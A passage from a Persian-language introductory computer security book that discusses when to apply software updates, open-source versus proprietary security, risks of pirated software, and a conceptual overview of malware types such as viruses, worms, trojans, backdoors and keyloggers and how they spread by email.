این بحث چندین دهه میان متخصصان رایانه در جریان بوده است. در این زمینه دو دیدگاه متفاوت وجود دارد:

موافقان: اگر سریعاً بسته‌های به‌روزرسانی را نصب کنید، خود را در مقابل آسیبهای شناخته‌شده ایمن کرده‌اید. با استفاده از ایمنی حاصل از بسته‌های به‌روزرسانی، تا سطحی که سیستم اجازه می‌دهد می‌توانید از خود در برابر نفوذ و افشای اطلاعات محافظت نمایید.

مخالفان: امکان دارد برنامه‌نویسان هنگام برنامه‌نویسی دچار اشتباه شوند یا بخش دیگری از برنامه را مختل نمایند. همچنین ممکن است در بسته‌های به‌روزرسانی به اندازهٔ برنامه‌های اصلی اشکال و آسیب‌پذیری وجود داشته باشد. لذا این احتمال وجود دارد که بستهٔ به‌روزرسانی مشکلات جدیدی را بوجود بیاورد که به مشکل قبلی ارتباطی نداشته باشد.

انتشار هر از چندگاه نقایص امنیتی کشف‌شده که با استفاده از آنها مهاجمان به سیستم نفوذ کرده و داده‌ها را تخریب می‌کنند دامنهٔ این مسئله را تغییر داده است. هنگامیکه یک نقص امنیتی اعلام می‌شود – حتی اگر این اعلام توسط یک وصلهٔ امنیتی صورت پذیرد – مهاجمان سریعاً ابزارهایی برای سوء استفاده از آن نقص را بوجود می‌آورند، و درنتیجه ممکن است سیستم رایانهٔ افرادی که از وصله‌های امنیتی منتشرشده استفاده نمی‌کنند سریعاً مورد تهاجم قرار گیرد.

پیشنهاد عملی:

- کاربران مبتدی و افرادی که رایانه‌هایشان برای کارهای غیرحساس استفاده می‌شود باید کلیهٔ بسته‌های به‌روزرسانی را بلافاصله بعد از انتشار بکار گیرند. برای رایانه‌ای که به‌روزرسانی نشده، خطر مشکلات جدید حاصل از بسته‌های به‌روزرسانی به مراتب کمتر از خطرات آسیب‌پذیریهای به‌روزرسانی‌نشده است.
- کاربران حرفه‌ای و کارکنان بخش فنی باید بسته‌های به‌روزرسانی امنیتی را سریعاً نصب کنند، اما می‌توانند بقیهٔ بسته‌های به‌روزرسانی را با توجه به نوع عملکرد آنها اولویت‌بندی نمایند. تأخیر چند هفته‌ای یا چند ماهه در نصب این بسته‌ها به کاربران ماجراجو اجازه می‌دهد بسته‌های به‌روزرسانی را نصب کنند، مشکلات احتمالی را کشف و گزارش نمایند، و با اینکار – پیش از اینکه شما به‌روزرسانی‌ها را نصب کرده باشید – به تولیدکننده فرصت اصلاح نقایص جدید را بدهند.

هرگز نمی‌توان گفت که تغییرات چه زمانی می‌توانند یک نرم‌افزار کاربردی را از روند صحیح اجرا خارج کنند. به همین دلیل اگر از رایانهٔ شما در فعالیتهای حساس تجاری استفاده می‌شود، بهترین راهکار این است که پیش از اعمال به‌روزرسانی‌های جدید، ابتدا تغییرات را روی یک دستگاه مشابه و نه‌چندان حیاتی آزمایش کنید.

نرم‌افزارهای غیرسنتی و غیرتجاری

در بحث قبل بر محصولات تجاری شامل سیستم‌عاملها و برنامه‌های کاربردی عمده متمرکز شدیم که در بسیاری از محیطهای محاسباتی مرسوم هستند. اما در نرم‌افزارهای دیگر شرایط چه تغییراتی می‌کنند؟

نرم‌افزارهای تجاری کوچک

نرم‌افزارهای زیادی وجود دارند که بصورت رایگان یا با حداقل هزینه در اختیار عموم قرار می‌گیرند. سطح پشتیبانی فروشندگان این نرم‌افزارها تفاوتهای بسیاری دارد. بطور کلی استفادهٔ متناوب از بسته‌های به‌روزرسانی رایگان و یا کم‌هزینه کاملاً توصیه می‌شود. این برنامه‌ها معمولاً ضعفهای امنیتی ندارند، بلکه برای حل مشکلات غیرامنیتی و یا افزودن قابلیتهای جدید طراحی شده‌اند. با اینحال برخی از نرم‌افزارهای رایگان نظیر *دیوارهٔ آتش*[۳۲] و یا *ویروس‌یاب*[۳۳] در حیطهٔ بررسی ما هستند و در این کتاب در مورد آنها بحث خواهد شد.

اگر از برنامه‌هایی استفاده می‌کنید که دارای کارکردهای امنیتی هستند، اطمینان حاصل کنید که سیاست فروشنده در ارائه به‌روزرسانی را درک کرده‌اید. مسلماً نمی‌خواهید در موقعیتی قرار بگیرید که از یک نرم‌افزار حساس به امنیت

32 *Firewall*
33 *Virus Scanner*

استفاده کنید و ناگهان خدمات پشتیبانی ارائه به‌روزرسانی آن قطع شود و یا توانایی خرید آنرا نداشته باشید. استفاده از برخی نرم‌افزارها مانند ویروس‌یابها اگر بطور منظم (روزانه یا هفتگی) به‌روزرسانی نشوند، می‌تواند بسیار خطرناکتر از حالتی باشد که از آنها استفاده نمی‌شود؛ زیرا اگر از آن استفاده نمایید تصور می‌کنید از شرایط امنیتی مناسبی برخوردارید.

نرم‌افزارهای متن‌باز[۳۴]

نرم‌افزارهای متن‌بازی که بسرعت درحال گسترش هستند باید بصورت مناسبی مورد پشتیبانی قرار داشته باشند. در برخی موارد با اینکه نرم‌افزار اصلی بصورت رایگان عرضه می‌شود اما امکان دارد خدمات ارائه به‌روزرسانی یا پشتیبانی آن هزینه‌بر باشد. نسخهٔ رایگان Red Hat Linux که در دسترس عموم قرار می‌گیرد نمونهٔ خوبی از این قبیل نرم‌افزارها است. سازمانهایی که خواهان سطح بیشتری از پشتیبانی فنی هستند ممکن است بستهٔ نرم‌افزاری اصلی و یا حداقل خدمات پشتیبانی آنرا خریداری کنند. اگر تصمیم به استفاده از نرم‌افزارهایی دارید که خرید و پشتیبانی آنها رایگان است (مثل بعضی از نرم‌افزارهای آزاد و متن‌باز) توجه داشته‌باشید که مدت‌زمان در دسترس بودن نسخه‌های اصلاحی آنها ممکن است کوتاه باشد. بنابراین اگر سیستم‌عامل یا زیرسیستمهای مهم خود را از نوع نرم‌افزارهای بدون پشتیبانی انتخاب کرده‌اید باید نسخهٔ جدید آنرا هر چند وقت یکبار (مثلاً در هر شش ماه) به‌روزرسانی کنید.

روند به‌روزرسانی محصولات متن‌باز بسیار مشکلتر از به‌روزرسانی محصولاتی مثل Microsoft Windows است؛ اما با وجود دستورالعملهای نصب برای محصولات اصلی متن‌باز این مشکل هم برطرف می‌شود. نرم‌افزارهای متن‌باز مبتنی بر Windows نیز وجود دارند که بصورت کامپایل‌شده توزیع می‌شوند و از نصب‌کننده‌های ساده استفاده می‌کنند.

همانند سیستمهای Windows، بسته‌های به‌روزرسانی و وصله‌های ارائه‌شده برای سیستمهای متن‌باز بزرگ، بسته به اندازهٔ سیستمهای متن‌باز تغییر می‌کنند. شناسایی منابع محلی این بسته‌های به‌روزرسانی بمنظور کاهش زمان download آنها از اینترنت برای کاربران منفرد بسیار حائز اهمیت است.

آخرین نکته مربوط به نرم‌افزار متن‌باز کمی بحث می‌طلبد. مباحثه‌ای میان طرفداران نرم‌افزار متن‌باز و طرفداران نرم‌افزارهای انحصاری سنتی وجود دارد که بالاخره کدامیک از این محصولات ایمن‌تر هستند.

طرفداران نرم‌افزارهای انحصاری معتقدند:

- از آنجا که متن برنامهٔ محصولات متن‌باز در دسترس است، نفوذگران به سادگی می‌توانند برنامه را تجزیه و تحلیل کنند و تمامی اشکالاتی که از طریق آنها می‌توان به سیستم نفوذ کرد را شناسایی نمایند.
- چون افراد زیادی در مناطق مختلف و بدون روابط سازمانی ممکن است روی محصولات متن‌باز کار کنند، ممکن است استانداردها نادیده گرفته شوند و فقدان یکپارچگی در اجزای مختلف منجر به آسیب‌پذیریهای امنیتی گردد.
- به این دلیل که کاربران برای محصولات انحصاری به تولیدکننده وجه می‌پردازند، دستورات او را دنبال می‌کنند و انجام اینکار باعث می‌شود کیفیت ملاحظات امنیتی در نرم‌افزارهای انحصاری بالا باشد.
- از آنجا که هیچ منبع معینی مسئولیتی در قبال محصولات متن‌باز بر عهده ندارد، درصورتیکه امنیت برای توسعه‌دهندگان انفرادی اهمیت نداشته باشد، احتمال زیادی وجود خواهد داشت که نادیده گرفته شود.

طرفداران نرم‌افزارهای متن‌باز معتقدند:

- به دلیل اینکه افراد زیادی با متن برنامه نرم‌افزارها کار می‌کنند، مسائل و مشکلات آنها توسط افراد خبره تشخیص داده می‌شود و سریعاً اصلاح می‌گردد.
- افرادی که با محصولات انحصاری کار می‌کنند ممکن است کد یکپارچه‌ای را تولید کنند؛ اما اگر تولیدکننده برای امنیت محصول خود ارزش خاصی قائل نشده باشد برنامه نمی‌تواند از سطح ایمنی مطلوبی برخوردار باشد.
- در برنامه‌های انحصاری برای اصلاح مشکلات موجود همیشه باید به تولیدکنندهٔ محصول مراجعه کرد و این امر ممکن است باعث تأخیر زمانی زیادی شود.

34 *Open Source Software*

در واقع هریک از این دلایل در جایگاه خود صحیح هستند. راهی برای کسب اطمینان از ایمن بودن نرم‌افزار انحصاری یا نرم‌افزار متن‌باز وجود ندارد. همچنین نمی‌توان ادعا کرد که کشف و اصلاح مشکلات بوجود آمده در زمان مناسب صورت می‌گیرد یا خیر. در هر دو نوع نرم‌افزار، نمونه‌هایی از رفتار ایده‌آل و همچنین بی‌دقتی طراحان و سازمانهای ارائه خدمات پشتیبانی دیده شده است.

نرم‌افزارهای مسروقه[۳۵]

نه نویسندگان و نه ناشران این کتاب هیچکدام مروج سرقت نرم‌افزاری نیستند، اما ساده‌انگارانه است اگر وانمود کنیم چنین مسئله‌ای وجود ندارد. سرقت نرم‌افزار مشکلی است که در سراسر دنیا وجود دارد، ولی بیشتر در کشورهایی اتفاق می‌افتد که در آنها هزینهٔ نسبی تهیه نرم‌افزارهای قانونی در مقایسه با دستمزدها بسیار بیشتر از کشورهای توسعه‌یافته است – که در آنها دوایر قوانین محلی و نیروهای انتظامی با همکاری هم انجام تخلفات را بسیار غیر محتمل می‌سازند.

گذشته از وظیفهٔ قانونی مسئولین برای جلوگیری از خدشه‌دار شدن حقوق مالکیت سازندهٔ محصول، دو نکته در مورد امنیت نرم‌افزار مسروقه وجود دارد که باید مورد بررسی قرار گیرند. هیچکدام از این دو مورد در نرم‌افزارهای مسروقه چندان رایج نیستند، اما به هر حال این امکان وجود دارد که هر دو با هم نیز وجود داشته باشند.

۱. ممکن است نرم‌افزار مسروقه قابل به‌روزرسانی شدن نباشد یا انجام به‌روزرسانی آنرا از کار بیندازد.

۲. امکان دارد برخی از نرم‌افزارهای مسروقه حاوی کارکردهایی باشند که انتظار آنها را ندارید. این کارکردها ممکن است شامل دربهای مخفی، ثبت‌کننده‌های صفحه‌کلید، یا سایر انواع نرم‌افزارهای مخرب باشند.

فصل پنجم
نرم‌افزارهای مخرب

کلیات

در این فصل مفهوم و انواع مختلف نرم‌افزارهای مخرب (نظیر ویروسها، کرم‌های اینترنتی، و تراواها) و مکانیزمهایی که برای توزیع آنها استفاده می‌شود مورد مطالعه قرار می‌گیرد.

مقدمه

نرم‌افزار مخرب[۳۶]

علامت اختصاری نرم‌افزارهای مخرب *بدافزار*[۳۷] است. این نرم‌افزارها معمولاً برای آسیب رساندن یا خراب‌کردن سیستم طراحی می‌شوند.

اولین ویروس رایانه‌ای در سال ۱۹۸۱ شناسایی شد. مفهوم *کرم رایانه‌ای*[۳۸] در کتاب "Science Fiction" در سال ۱۹۷۵ معرفی شد و اولین فعالیت واقعی آن مربوط به اوایل دهۀ ۱۹۸۰ است. جالب است بدانید که این کرمها اولین بار برای این طراحی شدند که عملکرد مثبت و مفید داشته باشند. پیدایش *اسبهای تراوای رایانه‌ای*[۳۹] هم به اولین روزهای اشتراک زمانی (دهۀ ۱۹۶۰) باز می‌گردد. علیرغم تاریخ و سابقۀ طولانی این نرم‌افزارها، در سالهای اخیر است که تأثیرات مخرب آنها برای کاربران عادی شدید و خطرناک شده است.

در آغاز باید معنا و مفهوم این اصطلاحات را تعریف کنیم.

ویروس

ویروس برنامه‌ای است که به انتهای برنامۀ دیگر متصل می‌شود و یا وارد بدنۀ یک برنامۀ دیگر می‌گردد. وقتی آن برنامه به اجرا در می‌آید، ویروس نیز اجرا می‌شود و نسخه‌های خود را وارد فایلها یا دیسکهای دیگر می‌کند و بدینصورت خود را تکرار می‌نماید، و هنگامیکه هریک از فایلها یا برنامه‌های آلوده اجرا می‌شوند این روند بار دیگر تکرار می‌گردد. ویروس ممکن است علاوه بر این موارد کارهای دیگری نیز انجام دهد.

کرم اینترنتی

کرمها از این جهت که نسخه‌ای از خود را تکرار می‌کنند مشابه ویروسها هستند، اما برای اینکار به برنامۀ میزبان نیاز ندارند. همانند ویروسها، یک کرم ممکن است تنها نسخه‌هایی از خود را در جاهای مختلف تکرار کند و یا اینکه علاوه بر آن عملیات دیگری نیز انجام دهد. کرم تنها زمانی کار می‌کند که سیستم قابلیت پذیرفتن منابع خارجی را داشته باشد و از طریق آن منابع بتواند به اجرای برنامه بپردازد. برخی از فروشندگان ابزارهای شناسایی بدافزارها، کرم را نیز نوعی ویروس به حساب می‌آورند.

اسب تراوا

نام این نوع نرم‌افزار از افسانۀ جنگ شهر تراوا در یونان برگرفته شده است. در آن افسانه، یونانی‌ها یک اسب چوبی بزرگ را از دروازۀ شهر به داخل می‌فرستند و هنگامیکه اسب وارد شهر می‌شود تعداد زیادی سرباز یونانی از آن خارج می‌شوند و شهر را به تصرف خود در می‌آورند. از آن زمان به بعد "اسب تراوا" به معنای چیزی است که ظاهری عادی اما محتویاتی خطرناک دارد.
در مفاهیم رایانه‌ای، اسب تراوا می‌تواند خرابیهای زیادی به بار آورد و یا اعمالی غیر از آنچه که کاربر انتظار آنرا دارد انجام دهد. این اصطلاح در سالهای اخیر به برنامه‌های مخربی اطلاق می‌شود که معمولاً بدون اطلاع و اجازۀ کاربر وارد سیستم می‌شوند و به جمع‌آوری و ارسال اطلاعات می‌پردازند.

36 *Malicious Software*
37 *Malware*
38 *Computer Worms*
39 *Computer Trojan Horses*

نرم‌افزار "Bonus"

نرم‌افزار bonus نرم‌افزاری است که بدون آگاهی شما حاوی بسته‌های دیگر نرم‌افزاری در آن وجود دارد. قرار گرفتن بسته‌های دیگر در یک نرم‌افزار تجاری مرسوم است. بعنوان مثال اگر یک مرورگر وب نصب کنید ممکن است شامل برنامه‌هایی چون Adobe Acrobat یا نرم‌افزارهای چندرسانه‌ای باشد. این امر به این علت است که معمولاً با اینکار کارایی نرم‌افزار اصلی افزایش می‌یابد و روند فعالیت نیز معمولاً بدین ترتیب است که درصورت تمایل شما آن نرم‌افزارهای جانبی را نصب می‌کند یا اینکه در آغاز نصب آن برنامه‌ها شما را از انجام اینکار آگاه می‌سازد. عملکرد نرم‌افزارهای bonus معمولاً متفاوت از نرم‌افزار اصلی است و اگر چاره‌ای داشته باشید مسلماً نباید آنها را نصب کنید.

قابلیتهای تراوا، ویروس و کرم برای یک برنامه "انحصاری" نیستند. به عبارت دیگر مهاجمین می‌توانند بدافزاری با بیش از یک ویژگی بنویسند؛ مانند *تراوای خود تکرار شونده*[40]. بدافزاری که دارای بیش از یک خصوصیت مخرب است *تهدید چندوجهی*[41] نامیده می‌شود. همانطور که مشاهده می‌کنید این عناوین عموماً از روی نحوهٔ گسترش نرم‌افزارهای مخرب تعریف شده‌اند و نه با توجه به نحوهٔ عملکرد آنها. در این فصل چگونگی عملکرد این نرم‌افزارها و راههای انتشار آنها بررسی می‌شود. در فصلهای بعد نیز روشهای ایمن ساختن رایانه‌ها و شبکه‌ها در برابر این نرم‌افزارها مورد بحث قرار می‌گیرد.

عملکرد نرم‌افزارهای مخرب

هیچ محدودیتی در چگونگی فعالیت نرم‌افزارهای مخرب روی رایانه شما وجود ندارد، اما معمولاً این برنامه‌ها در فعالیتهای خود واجد ویژگیهای مشترکی هستند:

40 *Self-Replicating Trojan*
41 *Blended Threat*

ارسال نامهٔ الکترونیکی

ارسال نامهٔ الکترونیکی یکی از رایجترین عملکردهای برنامه‌های مخرب است. نامه الکترونیکی ممکن است *ضمیمه‌ای*[42] شامل ویروس یا کرم داشته باشد. *متن*[43] آن نیز می‌تواند در مورد اطلاعات خاصی تنظیم شده باشد (نظیر هشدارهای مایکروسافت در مورد یک مشکل امنیتی) یا حتی می‌تواند دارای یک قسمت تصادفی از نامه‌های الکترونیکی پیشین شما باشد که در رایانه موجود است. اگر ضمیمهٔ نامه فایل خطرناکی باشد، معمولاً متن آن به نحوی دریافت‌کننده را تشویق می‌نماید که ضمیمه را باز کند. فیلدهای *موضوع*[44] و *فرستنده*[45] نیز معمولاً بگونه‌ای تنظیم می‌شوند که کاربر را تشویق کنند که فایل ضمیمه را باز کند (مثل کرم مشهوری که موضوع آن "I Love You" بود). این نوع پیامها معمولاً برای افرادی ارسال می‌شوند که آدرس آنها در فهرست آدرسها یا فایلهای دیگر رایانهٔ آلوده وجود دارد. گاهی اوقات وقتی پیامها برای همهٔ این افراد ارسال شد برنامه متوقف می‌گردد، و گاهی اوقات باز هم فعالیت خود را – چه از رایانهٔ اولیه و چه از مبادی جدید – از سر می‌گیرد. توجه داشته باشید که اگر رایانهٔ فرد دیگری با ویروس یا کرم آلوده شده باشد و آن ویروس آدرس شما را در فیلد "فرستنده" نامهٔ الکترونیکی آلوده گذاشته باشد (شاید به این دلیل که آدرس شما را در ماشین آلوده یافته است) این شما هستید که متهم به توزیع این ویروس خواهید شد! (این فن *گمراه‌کنندگی نامهٔ الکترونیکی*[46] نام دارد و درصورت استفادهٔ برنامهٔ مخرب از آن، بسادگی نمی‌توان مشخص کرد که رایانهٔ آلودهٔ واقعی متعلق به چه کسی است)

جمع‌آوری اطلاعات

نرم‌افزار مخرب می‌تواند اطلاعاتی در مورد رایانهٔ شما و فایلهای موجود در آن بدست آورد و این اطلاعات را در اختیار نویسندهٔ خود قرار دهد. این برنامه می‌تواند همهٔ فایلهای رایانه شما (حتی فایلهای رمزگذاری‌شده) را بخواند. اگر اطلاعات حساب بانکی یا کارتهای اعتباری خود را در رایانه ذخیره می‌کنید ممکن است این داده‌ها مورد علاقهٔ نفوذگران باشند. اگر از امضای خود در رایانه تصویری تهیه کرده باشید تا از

42 *Attachment*
43 *Body*
44 *Subject Field*
45 *From Field*
46 *Email Spoofing*

آن در چاپ و یا ارسال نامه‌ها استفاده کنید، آن هم ممکن است بکار مهاجمان بیاید. جمع‌آوری این بسته‌های اطلاعاتی در کنار هم می‌تواند برای مهاجم این امکان را بوجود آورد که بتواند از هویت شما سوء استفاده کند. اگر در یک شرکت تجاری کار می‌کنید که شماره‌های کارت اعتباری افراد دیگر را روی رایانهٔ خود ذخیره می‌نمایید، درصورت دزدیده شدن این شماره‌ها مشکلات جدی برایتان پیش خواهد آمد.

بازنویسی یا حذف داده‌ها

برخی از نرم‌افزارهای مخرب واقعاً آسیب‌رسان هستند؛ به این ترتیب که با وارد کردن داده به رایانهٔ شما بسرعت می‌توانند فایلهای موجود در دیسک سخت را پاک کنند یا آنها را با اطلاعات نادرست بازنویسی نمایند. این برنامه‌ها گاهی اوقات با روشهایی که احتمال شناسایی کمتری دارند تغییرات گفته‌شده را بوجود می‌آورند:

نصب یک تروا

این عملکرد در نرم‌افزارهای مخرب بسیار رایج شده است. روی رایانه شما معمولاً برنامه‌هایی نصب شده و لذا برنامهٔ مخرب می‌تواند با برنامه‌ای که شما یا سیستم‌عامل از آن استفادهٔ زیادی می‌کنید جایگزین شود (معنای اصلی تراوا). از این گذشته ممکن است برنامه‌های دیگری را وارد سیستم کند که در یک زمان از پیش تعیین شده یا هنگام روشن شدن رایانه به اجرا در آیند. در بخش "نرم‌افزارهای سربار" بسیاری از این روشها توضیح داده شده‌اند.

زمانبندی برای آینده

هریک از عملکردهای گفته شده ممکن است بلافاصله اتفاق بیفتند و یا برای وقوع در آینده برنامه‌ریزی شوند. برای مثال ممکن است نویسندگان نرم‌افزارهای مخرب علاقه‌مند باشند که اعلام شود یک کرم خاص در روزهای اولیهٔ ژانویهٔ سال ۲۰۰۰ یک خرابی بزرگ به بار آورد.

نرم‌افزارهای سربار[47]

نرم‌افزار مخرب معمولاً به شکل برنامه‌ای ظاهر می‌شود که روی رایانهٔ شما می‌نشیند و زمانی‌که رایانهٔ خود را روشن یا برنامهٔ خاصی را آغاز می‌کنید به اجرا در می‌آید. تنها محدودیتی که عملکرد این برنامه‌ها می‌توانند داشته باشد تصورات و مهارت پدیدآورندهٔ آنها است.

نرم‌افزار ردیابی و اعمال تغییر در شبکه[48]

این دسته از برنامه‌ها پایگاههایی که شما مشاهده می‌کنید را نظاره می‌کنند و می‌توانند علاوه بر آنچه که شما در حالت معمول مشاهده می‌کنید صفحات دیگری را به نمایش درآورند. همچنین می‌توانند آنچه که در پایگاه وب است را با تبلیغات خود جایگزین نمایند، و اطلاعاتی در مورد رایانهٔ شما و تعاملاتی که با تولیدکنندهٔ آن انجام داده‌اید برای پدیدآورندهٔ خود بفرستند. این نرم‌افزارها در بسیاری از موارد دارای کنترل کامل بر روی مرورگر شما هستند: آنچه وارد می‌کنید را نظاره می‌کنند و می‌توانند آنچه که می‌بینید را تغییر دهند؛ و هنگامیکه مشاهدات شما را تحت نظر دارند می‌توانند فعالیتهای شما را به یک مقصد از پیش تعیین‌شده گزارش دهند. در Internet Explorer، این قابلیت طراحی شده و *BHO*[49] نام دارد. اگرچه کاربر می‌تواند BHOهای سالم و بسیار مفیدی را پدید آورد، اما این قابلیت برای ایجاد برنامه‌های کاربردی که اخلاقیات در آنها کمتر رعایت شده نیز امکانات قابل توجهی بوجود آورده است.

دربهای مخفی[50]

معمولاً برای دسترسی به یک سیستم رایانه‌ای نیاز به وارد کردن نام کاربری و رمز عبور دارید؛ اگرچه این سطح از امنیت گاهی اوقات برای سیستمهایی که از لحاظ فیزیکی ایمن هستند و تنها اشخاص خاصی می‌توانند از پشت صفحه‌کلید آنها وارد سیستم شوند وجود ندارد. نرم‌افزار "درب مخفی" با بی‌اثر کردن کلیهٔ حفاظهای امنیتی اینچنینی به *کاربر راه دور*[51] اجازهٔ دسترسی به رایانهٔ شما را می‌دهد. این نرم‌افزار حتی ممکن است حفاظهای امنیتی خود را کار بگذارد تا تنها پدیدآورندهٔ آن بتواند از سیستم استفاده نماید. اگرچه این جزئیات از یک مورد تا مورد دیگر متفاوت است، اما

47 *Payload Software*

48 *Web Tracking/Modification Software*
49 *Browser Helper Object - http://msdn.microsoft.com/library/enus/dnwebgen/html/bho.asp*
50 *Backdoors*
51 *Remote User*

کاربر راه دور ممکن است روی سیستم شما کنترل کامل پیدا کرده باشد. حتی ممکن است این نرم‌افزارها اگر بخواهند، بتوانند شما را از ادامهٔ کارتان بازدارند. در اینحالت رایانهٔ شما تحت فرمان شخص دیگری قرار دارد و شما از این مسئله آگاهی ندارید. اما سؤالی که پیش می‌آید این است که چرا مهاجم مایل است کنترل سیستم شما را در دست بگیرد؟ انجام اینکار می‌تواند دلایل متعددی داشته باشد، از جمله اینکه:

- هیچ دلیلی غیر از اثبات توانایی خود به دوستانش برای انجام این کار وجود نداشته باشد؛
- بطور کلی بخواهد تخریبگر باشد؛
- برای هدف قرار دادن شما دلیل شخصی داشته باشد؛
- از رایانهٔ شما برای فعالیتهای مخرب دیگر استفاده کند؛ مثل فرستادن هرزنامه یا انجام حملهٔ *تخریب سرویس* (DoS)[52] علیه رایانه‌های دیگر؛ و یا اینکه
- بخواهد اطلاعات با ارزشی را به سرقت ببرد.

توجه داشته باشید نرم‌افزارهایی با کاربرد مشابه تحت عناوینی چون *ابزارهای دسترسی راه دور*[53] یا *ابزارهای راهبری راه دور*[54] برنامه‌های مشروع و بسیار و پراستفاده‌ای هستند. اگر از این ابزارها برای اهداف کاری خود استفاده می‌کنید مطمئن شوید که ملاحظات مناسب امنیتی مانند نام کاربری و رمزهای عبور را بکار گرفته‌اید.

ثبت‌کننده‌های کلید[55]

مفهوم "ثبت‌کننده کلید" از نام آن مشخص است. آنها تمامی کلیدهای فشرده شدهٔ صفحه‌کلید را ثبت و در یک فایل ذخیره می‌کنند. این فایل می‌تواند در آینده با دسترسی از طریق درب مخفی مورد استفاده قرار بگیرد و یا از طریق پست الکترونیکی یا وب برای نویسندهٔ برنامه ارسال گردد.

شایان ذکر است که ثبت‌کننده کلید تمامی آنچه که واقعاً تایپ می‌کنید را نظاره می‌کند و نه آنچه که از طریق شبکه ارسال می‌شود. بنابراین حتی اگر شمارهٔ کارت اعتباری را روی صفحهٔ وب ایمن وارد کنید (یعنی اگر هنگام انتقال اطلاعات از رمزنگاری استفاده شود)، این برنامه دقیقاً آنچه که تایپ می‌کنید را – بصورت رمزگذاری نشده – ثبت می‌نماید.

سرقت مالی

در اکثر سرقتهایی که درنتیجهٔ حملات به رایانه‌های شخصی اتفاق افتاده‌اند، از رایانهٔ قربانی سرقت اطلاعات صورت گرفته است. با اینحال مواردی وجود دارند که در آنها با استفاده از برنامه‌های سربار، پول مسروقه بصورت خودکار به مصرف رسیده است. ساده‌ترین مثال این است که برنامه، یک مودم را روی رایانهٔ شما شناسایی کند و از آن برای برقراری تماس با مقاصد دوردست استفاده نماید. از آنجا که برنامه نمی‌تواند صحبت کند انجام اینکار برای مهاجم هیچ مزیتی ندارد، بجز نوعی احساس رضایت شیطانی مبنی بر اینکه شما در پایان ماه یک صورتحساب سنگین از شرکت مخابرات دریافت می‌کنید.

در موارد دیگر مهاجم می‌تواند از انجام اینکار بهرهٔ شخصی ببرد. در بسیاری از کشورها ممکن است شماره تلفن خاصی وجود داشته باشد که وقتی با آن تماس گرفته می‌شود شرکت مخابرات در هر دقیقه هزینهٔ بیشتری برای تماس‌گیرنده ثبت کند و در عوض مقداری از این هزینه به حساب کسی برود که با او تماس حاصل شده است. این امر در انواع مختلف معاملات مورد استفاده قرار می‌گیرد، اما بیشتر مورد استفادهٔ شرکتهای نرم‌افزاری است که خواهان راه ساده‌ای هستند تا برای پشتیبانی بدون ضمانت هزینه‌ای را از حساب شما کسر نمایند. در چنین وضعیتی شرکت مخابرات هزینه‌های تماس‌گیرنده‌ها را بگونه‌ای محاسبه می‌کند که بتواند قسمتی از آنرا بعنوان هزینهٔ تماسهای پشتیبانی به شرکتی که با آن تماس حاصل شده است ارسال کند. اگر نفوذگر چنین شماره‌ای داشته‌باشد می‌تواند رایانهٔ شما را طوری برنامه‌ریزی کند که با این شماره تماس بگیرد و برای مدتی تماس را برقرار نگهدارد. در آنصورت این هزینه در صورتحساب پایان ماه تلفن شما درج خواهد شد.

این نرم‌افزارها چگونه شناسایی می‌شوند؟

چند سال قبل تنها راه آلوده شدن رایانه‌های شخصی بوسیلهٔ ویروس یا نرم‌افزارهای مخرب، استفاده از دیسکهای آلوده

52 *Denial of Service Attack*
53 *Remote Access Tools*
54 *Remote Administration Tools*
55 *Keyloggers*

بود و اگر با افرادی که آلوده شده بودند تبادل فایل انجام نمی‌دادید در امنیت به سر می‌بردید. سیستمهای UNIX چندان مستعد دریافت ویروس نبودند اما به دلیل قابلیتهای بسیار زیاد برقراری ارتباط و همچنین اشکالات امنیتی در سیستم‌عاملها و برخی از نرم‌افزارهای کاربردی رایج، حتی در آن روزها هم گاهی اوقات نفوذگران می‌توانستند به سیستمها دستیابی پیدا کنند و روی آنها نرم‌افزارهای درب مخفی نصب نمایند. اولین حادثهٔ جدی امنیتی اینترنت کرمی بود که در سال ۱۹۸۸ به یک سیستم UNIX حمله کرد. امروز ممکن است شما به روشهای متفاوتی مورد حمله قرار بگیرید. روشهایی که در ادامه ذکر شده‌اند مربوط به سیستمهای مبتنی بر Windows می‌شوند. سیستمهای Macintosh و Unix به نوعی نسبت به این حمله‌ها کمتر مستعد هستند؛ البته نه الزاماً به این علت که ایمن‌تر هستند، بلکه به این دلیل که معمولاً سیستمهای Windows برای مهاجمین اهداف جذاب‌تری به شمار می‌روند. سیستمهای Unix در ردهٔ بعدی قرار دارند و سیستمهای Macintosh تا به امروز کمترین صدمه را از آسیب‌پذیریهای خود دیده‌اند.

نامهٔ الکترونیکی

چند سال قبل میان کاربران پست الکترونیکی شایعاتی گسترش یافت مبنی بر اینکه با دریافت نامهٔ الکترونیکی ممکن است به ویروس آلوده شوید. مدیران و مسئولان سیستم مجبور بودند مداوماً به کاربران اطمینان دهند که این امر "غیر ممکن" است، و تا زمانیکه فایل ضمیمه به اجرا در نیاید، ماشین و کاربران آن در امنیت کامل هستند.

آلوده شدن از طریق نامهٔ الکترونیکی امروز دیگر امر محالی نیست و درواقع بسیار هم محتمل است. دو قابلیت اضافه‌شده به نرم‌افزارهای پست الکترونیکی باعث این مسئله شده‌اند.

اولین تغییر این است که امروزه برنامه‌هایی برای پست الکترونیکی وجود دارند که می‌توانند ضمایم را بصورت خودکار اجرا نمایند. در گذشته کاربر فایل ضمیمه را ذخیره و سپس آنرا اجرا می‌کرد، اما درحال حاضر اجرای خودکار ضمائم کارها را – مخصوصاً برای کاربران مبتدی که می‌خواهند بدون انجام عملیات اضافه آنچه که فرستاده شده است را ببینند – ساده‌تر کرده است.

دومین تغییر این است که چون تلاش بر این بوده که نرم‌افزار پست الکترونیکی ساده و قوی‌تر گردد، امروز امکان برنامه‌نویسی HTML در بدنهٔ اصلی نامهٔ الکترونیکی وجود دارد؛ علیرغم اینکه HTML می‌تواند حاوی دستورالعملهای مشکلساز باشد. بعنوان مثال HTML می‌تواند مرورگر وب را بصورت خودکار به سمت یک پایگاه وبِ از پیش تعیین‌شده هدایت کند که شاید برای شما یا فرزندانتان مناسب نباشد.

توجه داشته باشید افرادی که نامه‌های الکترونیکی اینچنینی ارسال می‌کنند می‌توانند بسیار خلاق باشند. اخیراً تعدادی نامهٔ الکترونیکی آلوده به ویروس منتشر شد که ادعا می‌کرد از طرف مایکروسافت است و حاوی آخرین وصله‌های امنیتی می‌باشد که در برابر ویروسها و کرمها از شما محافظت می‌نماید. این نامه‌ها شامل تصاویر و نمادهایی هستند که قابل اطمینان و معتبر بنظر می‌رسند و لذا کاربر را متقاعد می‌سازند که ضمایم باید به سرعت به اجرا در بیایند. واضح است که اگر کسی ضمیمه‌ها را اجرا کند دچار دردسرهای اساسی خواهد شد.

پایگاه وب

